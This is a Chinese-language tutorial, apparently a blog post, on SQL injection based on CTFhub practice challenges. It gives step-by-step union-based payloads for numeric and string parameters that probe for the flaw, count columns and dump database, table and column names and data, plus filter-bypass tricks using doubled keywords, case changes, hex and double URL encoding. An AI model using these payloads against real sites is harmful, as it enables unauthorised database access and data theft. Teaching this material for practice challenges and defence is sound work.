SQL注入(Structured Query Language Injection)
是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
SQL注入的成因
开发人员在开发过程中,直接将URL中的参数、HTTP Body中的Post参数或其他外来的用户输入(如Cookies,UserAgent等)与SQL语句进行拼接,造成待执行的SQL语句可控,从而使我们可以执行任意SQL语句。
- SQL语句按数据类型可以分为数字型注入和字符型注入,以下语句基于
CTFhub的原题进行注入,提供思路,不同题目语句并不相同,但基本思路大同小异。
数字型注入
当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入漏洞。
- 盲注
当一个网页为http://URL/?id=1。
对应的sql语句:select * from table where id=1
此时可以用盲注的方法判断是否存在SQL注入漏洞。
http://URL/?id=1‘
sql:select * from table where id=1' //无法查询,抛出异常
http://URL/?id=1 and 1=1
sql:select * from table where id=1 and 1=1 //正确回显
http://URL/?id=1 and 1=2
sql:select * from table where id=1 and 1=2 //错误回显
如果如上产生回显,则显然id参数存在SQL数字型注入漏洞。
- 猜字段数
添加语句 order by NUMBER
http://URL/?id=1 order by NUMBER
sql:select * from table where id=1 order by NUMBER
当NUMBER能正确回显时,都是有效字段值。
- 爆数据库名
添加语句and 1=2 union select 1,database()//只有两个字段时,这是为了爆出第二个字段的数据库名回显
http://URL/?id=1 and 1=2 union select 1,database()
sql:select * from table where id=1 and 1=2 union select 1,database()
其中and 1=2的作用是为了使and前的语句无法成功回显,因此后面的联合查询语句可以回显,其中
- 爆表名
添加语句and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='DATABASE_NAME',其中DATABASE_NAME为数据库名。
http://URL/?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='DATABASE_NAME'
sql:select * from table where id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='DATABASE_NAME'。
- 爆字段名
添加语句and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='TABLE_NAME',其中TABLE_NAME为数据表名。
http://URL/?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='TABLE_NAME'
sql:select * from table where id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='TABLE_NAME'
- 查询字段属性
添加语句and 1=2 union select 1,group_concat(FILED_NAME) from DATABASE_NAME.TABLE_NAME,其中FILED_NAME为字段名。
http://URL/?id=1 and 1=2 union select 1,group_concat(FILED_NAME) from DATABASE_NAME.TABLE_NAME
sql:select * from table where id=1 and 1=2 union select 1,group_concat(FILED_NAME) from DATABASE_NAME.TABLE_NAME
字符型注入
当输入的参数为字符串时,如果存在注入漏洞,可以认为是字符型注入漏洞。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合。
字符型注入时,一般有三种常用的注释符号
1. `--` 这种注释符后边有一个空格,一般用`+`代替空格
2. `#` 通过`#`进行注释
3. `/* */` 注释掉符号内的内容
- 盲注
当一个网页为http://URL/?id=1。
对应的sql语句:select * from table where id=1
http://URL/?id=1''
sql:select * from table where id=1'' //无法查询,抛出异常
http://URL/?id=1' and 1=1#'// #可换成--
sql:select * from table where id=1' and 1=1#' //正确回显
http://URL/?id=1' and 1=2#'// #可换成--
sql:select * from table where id=1' and 1=2#' //错误回显
- 猜字段数
添加语句 ‘order by NUMBER #
http://URL/?id=1' order by NUMBER #
sql:select * from table where id=1' order by NUMBER
当NUMBER能正确回显时,都是有效字段值。
- 爆数据库名
添加语句'and 1=2 union select 1,database() #
http://URL/?id=1' and 1=2 union select 1,database()#
sql:select * from table where id=1' and 1=2 union select 1,database()#
- 爆表名
添加语句'and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='DATABASE_NAME'#,其中DATABASE_NAME为数据库名。
http://URL/?id=1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='DATABASE_NAME'#
sql:select * from table where id=1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='DATABASE_NAME'#
- 爆字段名
添加语句'and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='TABLE_NAME'#,其中TABLE_NAME为数据表名。
http://URL/?id=1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='TABLE_NAME'#
sql:select * from table where id=1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='TABLE_NAME'#
- 查询字段属性
添加语句'and 1=2 union select 1,group_concat(FILED_NAME) from DATABASE_NAME.TABLE_NAME#
http://URL/?id=1' and 1=2 union select 1,group_concat(FILED_NAME) from DATABASE_NAME.TABLE_NAME#
sql:select * from table where id=1' and 1=2 union select 1,group_concat(FILED_NAME) from DATABASE_NAME.TABLE_NAME#
SQL中常见的绕过方式
- 过滤关键字
- 双写过滤(题目未进行递归过滤,将关键字替换为空)
select->selselectect
or->oorr
union->uniunionon
- 大小写转换过滤(SQL关键字不区分大小写)
select->Select
or->OR
union->uNIon
- 十六进制过滤(对关键字的个别字母替换)
select->selec\x74
or->o\x72
union->unio\x6e
- 双重URL编码绕过
select->%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34
or->%25%36%66%25%37%32
union->%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65
- 过滤空格
- 通过注释绕过
#
--
//
/**/
;%00
- 通过二重URL编码绕过
%20->%2520
- 通过空白字符绕过,不同数据库对应不同的常见空白字符(十六进制)
- 通过特殊符号(反引号、加号)
- 科学计数法绕过
在实际的环境中,更多的是将SQL注入与其他漏洞结合,就需要考虑使用多种绕过方式来达成目的。
本文详细介绍了SQL注入的概念、成因及不同类型注入的利用方法,包括数字型注入和字符型注入的盲注、猜字段数、爆库、爆表、爆字段等技巧。同时,还探讨了SQL注入的常见绕过方式,强调了在实际环境中结合多种方法进行攻击的可能性。对于开发者而言,了解这些攻击手段有助于提升应用的安全性。
26万+

被折叠的 条评论
为什么被折叠?



